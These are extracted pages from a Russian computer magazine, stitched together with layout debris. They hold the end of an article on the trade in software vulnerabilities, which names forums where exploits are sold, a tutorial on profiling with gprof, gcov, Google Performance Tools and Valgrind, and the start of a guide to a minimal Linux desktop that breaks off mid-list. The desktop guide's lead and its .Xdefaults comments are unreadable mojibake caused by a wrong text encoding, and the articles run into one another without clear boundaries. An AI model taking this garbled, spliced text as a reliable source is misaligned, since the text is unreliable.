все данные и не продаст их из-под полы 
кому-нибудь еще. По сути, покупатель бага 
практически беззащитен в этом вопро-
се, здесь почти бессильно даже суровое 
законодательство США. Конечно, подать 
в суд и попробовать разобраться можно 
всегда, но, как показывает практика, почти 
никто этим не занимается. А тем временем 
на множестве сайтов и форумов в разделах 
купли-продажи можно найти объявления о 
продаже, покупке или поиске эксплойтов и 
багов. Зачастую все это вообще лежит в от-
крытом доступе. Адреса подобных ресурсов 
ты наверняка знаешь и сам, но навскидку 
могу назвать хотя бы wasm.ru и antichat.ru. 
В России и на Украине ситуация с «рынком 

багов» вообще довольно грустная — уяз-
вимости продают в основном с рук, или же 
багоискатели вовсе работают по заказу. К 
примеру, за реверс патчей нашему брату 
платят порядка $200-350 в день, и на все 
про все обычно уходит около недели вре-
мени. По общемировым меркам такие рас-
ценки можно охарактеризовать разве что 
фразой «как рабам на плантации», однако 
для русских это хорошие деньги, тем более 
что самая нелегальная часть этого бизнеса 
— уклонение от налогов.
Зато миф о том, что «плохие парни» из 
хакерского андеграунда готовы пла-
тить баснословные суммы за серьезные 
уязвимости, это именно миф. Нет, исто-
рия наверняка знавала исключения, но, 
поверь, их были единицы. В основном те, 
кто занимается киберпреступлениями на 
широкую ногу, довольствуются услугами 
собственных умельцев — тех самых «рабов 
на плантации». Командам таких реверсе-
ров и платить приходиться куда меньше, и 
конкретные задачи перед ними поставить 
можно. 

Кто и зачем 
покупает дыры
Да, спрос рождает предложение, но кто же 
создает этот спрос? Не особенно покривив 
душой можно ответить — все. В свежих 
уязвимостях заинтересованы и разработ-
чики софта, и пентестеры, и специалисты по 
ИБ, и хакеры, и многие другие лица. Лучше 
всего будет пояснить на примерах.
У пентестеров, к примеру, спросом пользу-
ются не только новые дыры. Этим парням 
пригождается все — ведь им, так сказать, 
«для комплекта». Пентестеры используют 
для имитации атак все, что только можно: 
фокус в том, что нормальный IPS (Intrusion 
Prevention System) ругается на все попытки 

СЦЕНА

Баги есть везде, нужно просто 
уметь искать :)  

Дырки продают даже на EBay
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атак, даже если система залатана и атака 
обломалась. То есть, если ты делаешь 
попытку атаки, а админ врубил сниффер, 
то он просечет фишку. Ну а если админ 
получит 100 000 алертов в логе? И пусть все 
эти 100 000 — это старые и неактуальные 
дыры, зато попробуй разбери, как все-таки 
атаковали. Так что пентестерам нужен хо-
роший эксплойт-пак, и даже если дыра уже 
год как залатана, она им все равно полезна. 
Обслуживают такой контингент компании 
вроде Immunity, Core Security и Rapid7, в 
иструментарий которых, в числе прочего, 
входят и эксплойты с дырками. Кстати, не 
гнушаются пентестеры и покупкой багов с 
рук, у частных лиц. Заплатят они меньше, 
чем крупные скупщики, но зато не особенно 
привередливы в выборе. 
С компаниями, стоящими на передовой ли-
нии компьютерной безопасности, ситуация 
обратная. Представь себе: клиент купил 
IPS некой фирмы, а этот IPS не видит и не 
отражает новых атак. Само собой, здесь 
пахнет выброшенными на ветер деньгами, 
судами и другими малоприятными штуками. 
Так что secure-компаниям жизненно важно 
узнавать об уязвимостях как можно быстрее. 
Такие компании не только покупают дырки 
за деньги, но и нанимают собственных 

специалистов-ломастеров. К тому же есть 
связи. Все более-менее крупные игроки 
рынка тесно работают с производителями 
и их проблемами. Они видят сорцы. Игроки 
поменьше, не имеющие широкой паутины 
связей и денег на штатных реверсеров, 
вынуждены покупать информацию о дырках, 
как и другие «простые смертные».
Производителям софта, в свою очередь, 
вообще торопиться некуда. Подумай сам, 
что обычно отвечает тот же Microsoft, когда 
их спрашивают о дырах? Верно, MS говорит 
что-то вроде «ладно, мы тут подумали и 
решили выпустить внеплановый патч, ибо, 
да-да, планета в огне, все горит, полыхнуло 
так, что даже мы заметили». Более того, 
производители (даже те, которые серьезно 
относятся к этим вопросам) инфу о дырках 
получают в основном на халяву, не напря-
гаясь. Схема проста: кто-то нашел дыру, 
обрадовался и по-тихому продал ее некому 
кул-хацкеру, который, в свою очередь, с 
помощью этой дыры атаковал «большую 
рыбу». Админ «большой рыбы» оказался 
не дурак — у него стоит куча снифферов и 
логгеров. Зафиксировав атаку, он отослал 
все данные аверской компании. Аверская 
компания по своим внутренним взаимным 
договоренностям тут же сообщила произ-

водителю софта, что в его продукте нашли 
уязвимость. Таким образом — всего лишь 
первая реальная эксплуатация бага, а 
информация о нем уже дошла до произво-
дителя. Да, конечно, если производитель 
будет суетиться сам — он выиграет время. 
Но зачем? На создание патча все равно 
потребуется некоторый срок, да и реальных 
убытков от дырок производитель почти 
никогда не несет. Так что, получается, что об 
уязвимости все равно узнают. И все равно 
ее придется фиксить. Но производителю 
нет смысла платить за то, чтобы узнать о 
ней первым. Именно поэтому предложения 
Mozilla и Google — это обычный PR, особен-
но с учетом того, что «крутость» дыры они 
определяют сами.
Напоследок замечу, что все не так страшно, 
как может показаться. С одной стороны, 
дырок в современном софте бессчетное 
количество, они стоят неплохих денег, 
продаются и перепродаются из рук в руки, а 
также весьма медленно патчатся. С другой 
стороны, не стоит забывать о том, что реаль-
но для массовых и серьезных атак использу-
ется ничтожный процент этих самых уязви-
мостей. Статистика, видишь ли, утверждает, 
что хакеры в большинстве своем ленивы до 
ужаса :). z
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Длинный, часто обновляющийся список опубликованных уязвимостей на сайте Zero Day Initiative
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В этой статье мы будем говорить о профи-
лировании. Если верить Википедии, то это 
— «сбор характеристик работы программы, 
таких как время выполнения отдельных 
фрагментов, число верно предсказанных 
условных переходов, число кэш-прома-
хов и так далее». В переводе это означает 
«выявление узких мест программы» (или, 
как говорят англофилы, «бутылочных 
горлышек»), а именно — всех тех участ-
ков кода, на которых программа начинает 
«пробуксовывать», заставляя пользователя 

ждать. Простейшее профилирование можно 
произвести голыми руками (и ниже я покажу, 
как это сделать), но лучше положиться на 
сообщество, представители которого уже 
создали все необходимые инструменты. 
Первый и популярный инструмент носит имя 
GNU Profiler (или gprof). Он испокон веков 
используется для профилирования кода, 
генерируемого компилятором GCC. Второй 
— GNU Coverage testing tool (gcov), утилита 
для более детального анализа производи-
тельности. Третий — набор инструментов 

отладки и профилирования под общим 
именем Google Performance Tools (сокра-
щенно GPT). Ну а четвертый — это Valgrind, 
который хоть и предназначен для поиска 
ошибок работы с памятью, но содержит в 
своем арсенале ряд утилит для анализа 
производительности программ. Начнем, как 
и полагается, с классики.

GNU Profiler
GNU Profiler (gprof) — один из старейших 
профайлеров, доступных для операционных 

    Евгений  Зобнин  zobnin@gmail.com
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систем типа UNIX. Он входит в состав пакета gcc, и мо-
жет быть использован для профилирования программ, 
написанных на любом поддерживаемом им языке (а 
это не только C/C++, но и Objective-C, Ada, Java). Сам по 
себе gprof не является инструментом профилирования, 
а лишь позволяет отобразить профильную статистику, 
которая накапливается приложением во время работы 
(само собой разумеется, по умолчанию никакое прило-
жение этого не делает, но может начать, если собрать 
программу с аргументом '-pg').
Рассмотрим, как это работает в реальных условиях. Что-
бы ощутить все достоинства gprof, мы применим ее не к 
какому-нибудь абстрактному, искусственно созданному 
приложению, а к самому настоящему повседневно ис-
пользуемому. Пусть это будет gzip. Получаем и распако-
вываем исходники архиватора:

$ wget www.gzip.org/gzip-1.3.3.tar.gz

$ tar -xzf gzip-1.3.3.tar.gz

$ cd gzip-1.3.3

Устанавливаем инструменты, необходимые для сборки 
(в Ubuntu это делается через инсталляцию мета-пакета 
build-essential):

$ sudo apt-get install build-essential

Запускаем конфигуратор сборки, передав в переменной 
окружения CFLAGS аргумент '-pg':

$ CFLAGS='-pg' ./configure

Компилируем программу:  make. У нас есть бинарник 
gzip, способный вести статистику своего исполнения. 
Каждый его запуск будет сопровождаться генерацией 
файла gmon.out:

$ ./gzip ~/ubuntu-10.10-desktop-i386.iso

$ ls -l gmon.out

-rw-r--r-- 1 j1m j1m 24406 2010-11-19 14:47 

gmon.out

Этот файл не предназначен для чтения человеком, но 
может быть использован для создания подробного отче-
та об исполнении:

$ gprof ./gzip gmon.out > gzip-profile.txt

Важная часть полученного файла показана на скриншо-
те 1. Каждая строка — это статистика исполнения одной 
функции, столбцы — различные показатели. Нас инте-
ресуют первый, третий, четвертый и седьмой столбцы. 
Они отображают информацию об общем количестве 
времени, затраченном на исполнение функции (первый 
столбец — в процентах, третий — в секундах), количест-
ве ее вызовов и имени. Попробуем проанализировать 
отчет. Первой в списке идет функция deflate, которая 
была вызвана всего один раз, но «сожрала» 29% всего 
времени исполнения программы. 
Это реализация алгоритма компрессии, и, если бы 
перед нами стояла задача оптимизировать gzip, мы 
должны были бы начать именно с нее. 22% времени 
ушло на исполнение функции longest_match, но, в 
отличие от deflate, она была вызвана аж 450 613 081 раз, 
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Рис.2 На первый взгляд граф gprof выглядит 
несколько путаным, но со временем все 
встает на свои места

Рис.1 Таблицы, генерируемые gprof, интуитивно понятны
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info
• По умолчанию 
gprof не выводит 
профильной 
информации для 
функций библиотеки 
libc, но ситуацию 
можно исправить, 
установив пакет 
libc6-prof и собрав 
тестируемое с 
библиотекой libc_p: 
«export LD_FLAGS=
'-lc_p'».
• Активировать 
профайлер GPT 
можно не только 
с помощью 
переменной 
окружения CPUPRO-
FILE, но и обрамив 
тестируемый участок 
кода функциями 
ProfilerStart() и Pro-
filerStop(), которые 
объявлены в google/
profiler.h.

INFO

Из-за требований 
к безопасности 
GPT не сработает 
в отношении 
приложений 
с установленным 
битом SUID.

warning 

WARNING
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поэтому каждый отдельный вызов функции занимал ничтожное 
количество времени. Это второй кандидат на оптимизацию. Функ-
ция fill_window отняла 13% всего времени и была вызвана «всего» 
22 180 раз. Возможно, и в этом случае оптимизация могла бы дать 
результаты. 
Промотав файл отчета до середины (кстати, сразу за таблицей идет 
подробная справка обо всех ее столбцах, что очень удобно), мы 
доберемся до так называемого «графа вызовов» (Call graph). Он 
представляет собой таблицу, разбитую на записи, отделенные друг 
от друга пунктиром (повторяющимися знаками минуса). Каждая за-
пись состоит из нескольких строк, при этом вторая строка вопреки 
здравому смыслу называется «первичной» и описывает функцию, 
которой посвящена запись. Строкой выше располагается описание 
вызывающей ее функции, а ниже — вызываемых ей.
Столбцы содержат следующее (слева направо): индекс (index, он 
есть только в первичной строке и ничего не значит); процент време-
ни, уходящий на выполнение функции (% time); количество време-
ни, затрачиваемое на ее выполнение в секундах (self); количество 
времени, затрачиваемое на выполнение функции и всех вызыва-
емых ею функций (children); количество вызовов функции (called) 
и ее имя (name).  Граф вызовов оказывается очень полезен, для 
оптимизации чужого кода: cтановятся видны не только узкие места 
программы, но и логика ее работы, которая может быть неочевидна 
при изучении исходников.

GNU Coverage testing tool
Кроме gprof, компилятор GCC имеет в своем составе еще один 
инструмент профилирования, который позволяет получить более 
детальный отчет о выполнении приложения. Утилита называется 
gcov и предназначена для генерации так называемого аннотиро-
ванного исходного кода, который напротив каждой строки содержит 
количество ее исполнений. 
Это может понадобиться для более глубокого изучения проблем 
приложения, когда функции, виновные в «тормозах», найдены, 
а суть проблемы так и остается неясна (например, непонятно, 
какая строка в многократно вложенном цикле внутри длиннющей 
функции несет ответственность за аномальное падение произво-
дительности). Gcov не может полагаться на статистику, генерируе-

мую приложением при сборке с флагом '-pg', и требует пересборки с 
флагами '-fprofile-arcs' и '-ftest-coverage':

$ CFLAGS='-fprofile-arcs -ftest-coverage'

    ./configure && make

Далее приложение необходимо запустить:

$ ./gzip ~/ubuntu-10.10-desktop-i386.iso

Для каждого файла исходного кода будет сгенерирован граф вызо-
вов, на основе которого можно создать подготовленный для чтения 
человеком аннотированный исходник:

$ gcov deflate.c

File 'deflate.c'

Lines executed:76.98% of 139

deflate.c:creating 'deflate.c.gcov'

Полученный в результате файл состоит из трех колонок: количес-
тво исполнений строки, номер строки и сама строка. При этом для 
строк, не содержащих кода, в первой колонке будет стоять знак 
минуса, а для строк, ни разу не выполненных — последовательность 
шарпов: #####.

Google Performance Tools
Google Performance Tools (сокращенно GPT) — это разработка 
сотрудников Google, предназначенная для поиска утечек памяти и 
узких мест приложений. Как и gprof, GPT не является внешней по 

Чтобы произвести профилирование вручную, достаточно поместить 
вызовы стандартной POSIX-функции gettimeofday() вокруг всех нуж-
дающихся в профилировании функций, а затем вычесть значение, 
полученное после вызова функции, из значения, полученного до ее 
вызова. Результатом будет длительность исполнения функции.
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Рис.3 Утилита gcov позволяет выявить проблемные места на уровне строк исходного кода
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отношению к тестируемому приложению программой и заставляет 
его самостоятельно вести статистику своего исполнения. 
Однако используется для этого не внедренный на этапе сборки 
приложения код, а библиотеки, которые могут быть прилинкованы к 
приложению во время сборки или подключены при запуске. Всего 
разработчикам доступно две подключаемых библиотеки: tcmalloc 
(которая, по уверению авторов GPT, представляет собой самую 
быструю на свете реализацию функции malloc, а также позволяет 
производить анализ того, как память расходуется, выделяется и 
течет) и profiler, генерирующая отчет о выполнении программы, 
наподобие gprof. Также в комплект входит утилита pprof, предна-
значенная для анализа и визуализации накопленных данных.
Исходный код, а также rpm- и deb-пакеты всего этого набора 
доступны на официальной страничке (code.google.com/p/google-
perftools), однако я бы не советовал заморачиваться с ручной уста-
новкой, так как набор доступен в стандартных репозиториях Fedora 
и Ubuntu, и его можно установить одной простой командой:

$ sudo apt-get install google-perftools \

    libgoogle-perftools0 libgoogle-perftools-dev

Далее приступаем к профилированию. Легче всего это сделать, 
просто подсунув нужную библиотеку прямо во время запуска про-
граммы с помощью LD_PRELOAD:

$ LD_PRELOAD=/usr/lib/libprofiler.so.0.0.0 \

    CPUPROFILE=gzip-profile.log ./gzip \

    /home/j1m/ubuntu-10.10-desktop-i386.iso

Однако сами гугловцы не советуют применять этот метод (очевидно 
из-за проблем с программами, написанными на C++), рекомендуя 
линковать библиотеку во время сборки. Что ж, не будем спорить. 
Для экспериментов возьмем все тот же gzip и повторно пересобе-
рем его, слинковав бинарник с нужной библиотекой:

$ cd ~/gzip-1.3.3

$ make clean

$ ./configure

$ LDFLAGS='-lprofiler' ./configure && make

Теперь gzip вновь готов вести лог своего исполнения, но не будет 
делать этого по умолчанию. Чтобы активировать профайлер, необ-
ходимо объявить переменную окружения CPUPFOFILE и присвоить 
ей путь до файла профиля:

$ CPUPROFILE=gzip-cpu-profile.log ./gzip \

    ~/ubuntu-10.10-desktop-i386.iso

PROFILE: interrupts/evictions/bytes = 4696/946/91976

Как и в случае с gprof, получившийся отчет имеет бинарную форму 
и может быть прочитан только с использованием специальной 
утилиты. В GPT ее роль выполняет perl-скрипт pprof (в Ubuntu во 
избежание путаницы с другой одноименной утилитой он переиме-
нован в google-pprof), который генерирует не только таблицы и 
аннотированные исходники на манер gcov, но и визуальные графы 
вызовов. Существует 11 типов вывода этой утилиты, за каждым  
закреплен соответствующий аргумент командной строки:
1. Текстовый (--text) — таблица, подобная выводу gprof;
2. Callgrind (--callgrind) — вывод в формате, совместимом с утили-
той kcachegrind (из пакета valgrind);
3. Графический (--gv) — граф вызовов, немедленно отображаемый 
на экране;
4. Листинг (--list=<regexp>) — аннотированный листинг указанной 
функции;
5. Дизассемблированный листинг (--disasm=<regexp>) — анноти-
рованный дизассемблированный листинг указанной функции;
6. Символьный (--symbols) — листинг декодированных символьных 
имен;
7. Графический файл (--dot, --ps, --pdf, --gif) — граф вызовов, 
сохраняемый в файл;
8. Сырой (--raw) — подготовка бинарного файла профиля к переда-
че по сети (перекодируется с помощью печатаемых символов).
Наибольший интерес для нас представляют текстовый ('--text') и 
графический ('--gv') типы вызовов. Только они могут дать полную 

Рис.4 Таблица, генерируемая GPT, очень похожа на таблицы gprof
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информацию о выполнении приложения и всех его проблемных 
местах. Текстовый вывод генерируется следующим образом:

$ google-pprof --text ./gzip gzip-cpu-profile.log

Как видно на скриншоте 4, вывод представляет собой таблицу с 
перечислением всех функций и затрат на их исполнение. На первый 
взгляд она кажется очень похожей на таблицу, генерируемую ути-
литой gprof, но это не так. Будучи всего лишь библиотекой, GPT не 
может вести статистику исполнения программы так же детально и 
точно, как это делает код, внедренный прямо в приложение. 
Поэтому вместо записи всех фактов вызова и выхода из функций 
(поведение программы, собранной с флагом '-pg'), GPT применяет 
метод, называемый сэмплированием. Сто раз в секунду библиотека 
активирует специальную функцию, в задачи которой входит сбор 
данных о том, в какой точке в текущий момент происходит выпол-
нение программы, и запись этих данных в буфер. По завершению 
работы программы из этих данных формируется и записывается на 
диск профильный файл. Именно поэтому в выводе pprof нет инфор-
мации о том, сколько раз функция была вызвана за время работы 
программы, или сколько процентов времени ушло на ее исполне-
ние. Вместо этого для каждой функции указывается количество 
проверок, во время которых было выяснено, что в данный момент 
программа занималась исполнением этой функции. Поэтому коли-
чество проверок, приведенное для каждой функции, можно смело 
считать за общее время ее исполнения.
Во всем остальном таблица сильно напоминает вывод gprof: по фун-
кции на строку, по показателю на столбец. Всего столбцов шесть:
1. Количество проверок для данной функции;
2. То же число в процентах от общего количества проверок;
3. Процент проверок на все остальные функции программы;
4. Количество проверок для данной функции и всех ее потомков;
5. То же число в процентах от общего количества проверок;
6. Имя функции.
Поначалу такой подход к измерению времени исполнения кажется 
слишком неточным, но если сравнить таблицы, полученные с помо-
щью gprof, с таблицами pprof, становится ясно, что они показывают 

одинаковую картину. Более того, GPT позволяет изменить количест-
во проверок на секунду времени с помощью переменной окружения 
CPUPROFILE_FREQUENCY, так что точность можно увеличить в 
десять, сто или тысячу раз, если того требует ситуация (например, 
если необходимо профилировать исполнение очень небольшой 
программы).
Несомненным достоинством GPT перед gprof является умение 
представлять информацию в графическом виде. Для активации 
этой функции pprof следует запускать с флагом '--gv' (кстати, для 
показа графа будет использована одноименная утилита):

$ google-pprof --gv ./gzip gzip-cpu-profile.log

Генерируемый в результате выполнения этой функции граф вызовов 
функций очень наглядный и гораздо более простой для воспри-
ятия и изучения, чем аналогичный текстовый граф, генерируемый 
командой gprof. Имя и статистика исполнения каждой функции 
размещены в прямоугольниках, размер которых прямо пропорцио-
нален количеству времени, затраченному на исполнение функции. 
Внутри прямоугольника размещены данные о том, сколько времени 
ушло на исполнение самой функции и ее потомков (время изме-
ряется в проверках). Связи между прямоугольниками указывают 
на очередность вызова функций, а числовые значения, указанные 
рядом со связями — на время исполнения вызываемой функции и 
всех ее потомков. Еще одно достоинство GPT заключается в способ-
ности использовать разные уровни детализации для вывода дан-
ных, позволяя пользователю самому выбирать единицы дробления. 
По умолчанию в качестве такой единицы используется функция, 
поэтому любой вывод pprof логически разделен на функции. 
Однако при желании в качестве единицы дробления можно исполь-
зовать строки исходного кода (аргумент '--lines'), файлы ('--files') 
или даже физические адреса памяти ('--addresses'). Благодаря та-
кой функциональности GPT очень удобно использовать для поиска 
узких мест в больших приложениях, когда сначала ты анализируешь 
производительность на уровне отдельных файлов, затем перехо-
дишь к функциям и, наконец, находишь проблемное место на уровне 
исходного кода или адресов памяти.

Рис.5 Граф, генерируемый GPT, очень прост и нагляден
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И последнее. Как я говорил выше, GPT — это не только хороший 
профайлер, но и инструмент для поиска утечек памяти, поэтому у 
него есть один приятный побочный эффект в виде способности к 
анализу потребления памяти приложением. Для этого приложение 
должно быть собрано или запущено с поддержкой библиотеки 
tcmalloc, а в переменную HEAPPROFILE записан адрес для разме-
щения профильного файла. Например:

$ LD_PRELOAD=/usr/lib/libtcmalloc.so.0.0.0 \

    HEAPPROFILE=gzip-heap-profile.log \

    ./gzip ~/ubuntu-10.10-desktop-i386.iso

Starting tracking the heap

Dumping heap profile to gzip-heap-profile.log.0001.

heap (Exiting)

К полученному файлу будет добавлено окончание 0000.heap. 
Если натравить на этот файл утилиту pprof и указать флаг '--text', 
она выведет на экран таблицу функций и уровень потребления 
памяти каждой из них. Столбцы значат все то же самое, что и в 
случае обычного профилирования, с тем исключением, что вместо 
количества проверок и их процентных отношений таблица теперь 
содержит количество потребляемой памяти и процент от общего 
потребления памяти.
При необходимости эту информацию можно получить в графичес-
ком виде, а также изменить единицы дробления. Библиотека может 
быть настроена с помощью различных переменных окружения, 
наиболее полезная из которых носит имя HEAP_PROFILE_MMAP. 
Она включает профилирование для системного вызова mmap (по 
умолчанию GPT собирает статистику только для вызовов malloc, 
calloc, realloc и new).

Пара слов о Valgrind
В последней части статьи мы кратко рассмотрим способы исполь-
зования инструмента Valgrind для профилирования приложений. 
Valgrind — это очень мощный отладчик памяти, который способен 
найти такие ошибки работы с памятью, о которых другие утилиты 
даже не подозревают. 

Он имеет модульную архитектуру, которая с течением времени 
позволила ему обрасти несколькими плагинами, не относящимися 
напрямую к отладке. Всего таких плагина три:
1. Cachegrind — позволяет собирать статистику по попаданию 
данных и инструкций программы в кэш первого и второго уровней 
процессора (мощный и сложный инструмент, который полезен при 
выполнении профилирования низкоуровневого кода).
2. Massif — профайлер кучи, схожий по функциональности с анало-
гом из пакета GPT.
3. Callgrind — профайлер, во многом похожий на таковой в gprof и GPT.
По умолчанию в качестве основного плагина Valgrind использует 
memcheck (отладчик памяти), поэтому для его запуска в режиме 
профилирования необходимо указать нужный плагин вручную. 
Например:

$ valgrind --tool=callgrind ./program

После этого в текущем каталоге будет создан файл с именем callgrind.
out.PID-программы, который можно проанализировать с помощью 
утилиты callgrind_annotate или графической программы kcachegrind 
(устанавливается отдельно).  Я не буду расписывать формат гене-
рируемых этими программами данных (он хорошо представлен в 
одноименных man-страницах), скажу лишь, что callgrind_annotate 
лучше запускать с флагом '--auto', чтобы он смог самостоятельно 
найти файлы исходных текстов программы. Для анализа расхода 
памяти Valgrind следует запускать с аргументом '--tool=massif'. После 
чего в текущем каталоге появится файл massif.out.PID-программы, 
который может быть проанализирован с помощью утилиты ms_print. 
В отличие от pprof, она умеет выводить данные не только в виде стан-
дартной таблицы, но и генерировать красивые ascii-art графики.

Выводы
Такие инструменты, как gprof, gcov и GPT, позволяют провести 
анализ работы приложения и выявить все его узкие места вплоть 
до отдельной процессорной инструкции, а подключив к процессу 
профилирования еще и Valgrind, можно добиться удивительных 
результатов. z 

Рис.6 Valgrind с плагином callgrind



XÀÊÅÐ  02  (145)  2011 086

Устанавливаем 
дисплейный менеджер
Первый шаг на пути к новому десктопу — установка дисплейного 
менеджера (DM), в задачи которого входит формирование графичес-
кого окна с полями для ввода имени и пароля, а также запуск всех 
остальных компонентов DE.
Наиболее продвинутые и удобные DM распространяются в комплекте 
с популярными десктопными средами, такими как KDE и Gnome, но в 
силу своей раздутости и адского количества зависимостей для нашего 
минималистичного десктопа они подходят плохо. Поэтому я выбрал 
легкий и удобный дисплейный менеджер SLiM (Simple LogIn Manager).
SLiM доступен в основном репозитории Ubuntu, поэтому его легко 
установить с помощью любого apt-клиента. В ходе установки необ-

ходимо согласиться с предложением сделать SLiM менеджером по 
умолчанию. Какой-либо дополнительной настройки не требуется, но 
для удобства лучше изменить несколько строк конфигурационного 
файла. Открываем /etc/slim.conf, находим в самом начале опцию 
default_path и добавляем в конец ее значения следующую запись 
(опции и значения разделены пробелом):

:/sbin:/usr/sbin:/usr/local/sbin

Эта строка позволит использовать административные команды 
внутри DE. Далее находим опцию sessions и указываем в качестве 
ее значения строку "default,awesome,xterm". Так у нас будет всего 
три типа сессии: прошлая, менеджер окон awesome и голый xterm 
(вместо кучи различных WM).

Ñîçäàåì ãèêîâûé äåñêòîï èç ïîäðó÷íûõ ìàòåðèàëîâ

    Евгений  Зобнин  zobnin@gmail.com

  Ñîâðåìåííûå äèñòðèáóòèâû Linux ÷ðåçìåðíî äðóæåëþáíû ê 
íîâè÷êàì è ñîâåðøåííî íåýôôåêòèâíû â ïîâñåäíåâíîì èñïîëüçîâàíèè. 
Ñëåäóÿ æå íàøèì èíñòðóêöèÿì, òû ïîëó÷èøü ìèíèìàëèñòè÷åñêîå, 
áûñòðîå è óäîáíîå îêðóæåíèå ðàáî÷åãî ñòîëà, êàê ó ìíîãèõ ãèêîâ.

UNIXOID

Ìàêñèìàëüíûé 
ìèíèìóì
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Выбираем 
менеджер окон
Менеджер окон — ключевой компонент любого рабоче-
го стола. От его выбора зависит не только то, как будет 
выглядеть твой десктоп, но и множество других характе-
ристик: способ расположения окон на экране, наличие 
или отсутствие панелей, системы меню, возможнос-
ти заскриптовать действия, поддержка стандартов 
freedesktop, наличие трея и многое другое.
Большинство современных менеджеров окон похожи 
друг на друга и предлагают пользователю сходный функ-
ционал. Fluxbox, windowmaker, kwm, compiz и огромное 
количество других WM реализуют одну и ту же модель 
перекрывающихся окон, более тридцати лет назад 
предложенную компанией Xerox. Между тем многие 
пользователи уже давно заметили, что модель непере-
крывающихся окон (каждое из которых растягивается на 
все доступное пространство экрана) гораздо более удобна 
для восприятия информации и управления окнами.
Менеджеры окон, реализующие такую модель, называются 
тайловыми (от английского слова tail — плитка, черепица). 
Они не столь популярны, как остальные, но по-настоящему 
ценятся в среде гиков. Всего существует около десятка 
тайловых WM, среди которых есть как совершенно мини-
малистичные (например, ratpoison и dwm), так и очень 
функциональные (ion3, awesome). Более того, быть тайло-
вым умеет даже менеджер окон kwm (начиная с KDE 4.5). 
Для гиковского рабочего стола я выбрал менеджер окон 
awesome. Он функционален и настраиваем, имеет все не-
обходимое для жизни, включая панель управления, меню 
и трей, но самое главное — awesome способен работать в 
разных режимах, начиная от классического (стандартные 
перекрывающиеся окна) и заканчивая десятком режимов 
с неперекрывающимися окнами. Как и все остальное, 
awesome доступен в репозитории Ubuntu, поэтому его 
можно установить с помощью apt-get:

$ sudo apt-get install awesome awesome-extra

Пакет awesome-extra содержит дополнительные модули 
awesome, они нам понадобятся при настройке, которую 
мы произведем в одном из следующих разделов.

Настраиваем эмулятор 
терминала
Трудно представить себе UNIX-десктоп без эмулятора 
терминала, а гиковый десктоп — тем более. Ни один про-

двинутый пользователь и дня не проживет без термина-
ла, набора самопальных скриптов и mc, поэтому к выбору 
замены xterm нужно подходить со всей серьезностью.
Существует масса различных эмуляторов терминалов, 
однако наиболее удобным в использовании и непри-
тязательным к системным ресурсам я считаю терминал 
rxvt-unicode. Он умеет все, что только может потребовать-
ся от терминала, и почти не имеет зависимостей. Кроме 
того, нам понадобится внятный моноширинный шрифт, 
удобочитаемый и не режущий глаз. На эту роль лучше всего 
подходит классический консольный шрифт terminus, уже 
многие годы восхваляемый UNIX-старожилами.
Устанавливаем необходимые компоненты, плюс (во 
избежание путаницы) удаляем все остальные эмуляторы 
терминала из системы:

$ sudo apt-get install rxvt-unicode \

 xfonts-terminus

$ sudo apt-get remove xterm gnome-terminal

Создаем файл ~/.Xdefaults и пишем в него настройки:

$ vi ~/.Xdefaults

! Äëÿ ñîâìåñòèìîñòè ïðèêèäûâàåìñÿ xterm

URxvt*termName: xterm

! Æåëòûé íåíàâÿç÷èâûé ôîí

URxvt*background: #e0e0ac

! ×åðíûå áóêâû

URxvt*foreground: Black

! Îòêëþ÷àåì ñêðîëëáàð

URxvt*scrollBar: false

! Íåáîëüøîé îòñòóï îò êðàåâ îêíà äëÿ ëó÷øåãî 

âîñïðèÿòèÿ

URxvt*internalBorder: 5

! Íàø øðèôò

URxvt.font: xft:Terminus:size=14

Все. Осталось только установить менеджер сетевых 
подключений, и можно считать, что каркас будущего 
десктопа готов.

Менеджер сетевых 
подключений
Без интернета жить нельзя, поэтому мы должны разо-
браться с тем, как собираемся к нему подключаться. По 
умолчанию в Ubuntu установлен менеджер соединений 
NetworkManager, но после переезда в собственный DE 
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info
• Предложенный 
в статье интерфейс 
как нельзя лучше 
подходит для 
нетбуков, на 
экранах которых 
многооконный (да 
еще и управляемый 
мизерным тачпадом) 
интерфейс выглядит 
несколько странно.

• Особенно удобным 
браузер uzbl 
становится после 
активации механизма 
подписи ссылок, 
который доступен 
по команде fl (fl* — 
отключить). После 
его включения 
напротив каждой 
ссылки появляется 
число, введя которое, 
ты попадешь на 
адресуемую ссылкой 
страницу.

• Браузер uzbl 
можно безгранично 
расширять 
с помощью скриптов, 
большое количество 
которых можно найти 
на страничке www.
uzbl.org/wiki/scripts.

• В любой момент 
тему GTK-приложений 
можно поменять 
с помощью 
программы gtk-
theme-switch 
(дополнительные 
темы находятся 
в пакетах gtk2-en-
gines-*).

INFO

• awesome.naquadah.
org/wiki/User_Con-
tributed_Widgets 
— виджеты для 
awesome;
• awesome.naquadah.
org/wiki/Beauti-
ful_themes — темы 
для awesome.

links

HTTP://WWW

Так выглядит slim, 
простой и быстрый 
дисплейный менед-
жер
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перед нами встанет выбор, продолжать ли использовать его, поме-
нять на другой или настраивать все вручную.
Я предлагаю остановиться на менеджере подключений wicd, который 
мне кажется более удобным и стабильным, а к тому же имеет консоль-
ный интерфейс. Установим его, заодно удалив NetworkManager:

$ sudo apt-get remove network-manager

$ sudo apt-get install wicd wicd-curses wicd-cli

Установщик автоматически пропишет wicd в автозапуск, поэтому 
после перезагрузки нам останется только запустить клиент.

Собираем все вместе
Теперь у нас есть четыре основных компонента рабочего стола, 
поэтому мы уже можем начать его использовать. Проще всего 
это сделать, просто перезагрузив машину. После этого на экране 
должно появиться окно slim. Нажимаем <F1> (чтобы выбрать сессию 
awesome), вводим имя и пароль. На экране появится awesome в 
своем дефолтовом виде (смотри скриншот).
Начинаем медитировать. Строка сверху — это статус-бар, его задача — 
показывать текущее состояние менеджера окон и управлять им (несмот-
ря на ориентированность на клавиатурное управление, awesome можно 
контролировать с помощью мыши). Квадратный значок с его левой сто-
роны — стандартная кнопка меню, с помощью которой можно запускать 
приложения и управлять WM. Меню можно вызвать без использования 
мыши, просто нажав комбинацию <Win+W>. Последовательность цифр 
от 1 до 9, расположенная сразу за кнопкой меню — это так называемые 
теги, аналоги виртуальных рабочих столов в других WM. Между ними 
можно переключаться мышкой или комбинацией <Win+номер>. С 
правой стороны расположен индикатор текущей раскладки окон (о нем 

мы поговорим чуть позже), перед ним — часы, а перед часами — трей (он 
не виден, пока в него не будет свернуто приложение). Между списком 
тегов и треем располагается стандартный таск-лист, показывающий от-
крытые в данный момент окна (приложения). Сами приложения можно 
запускать тремя разными способами:
1.  Через меню;
2. С помощью горячих клавиш (например, комбинация <Win+Enter> 
запускает терминал);
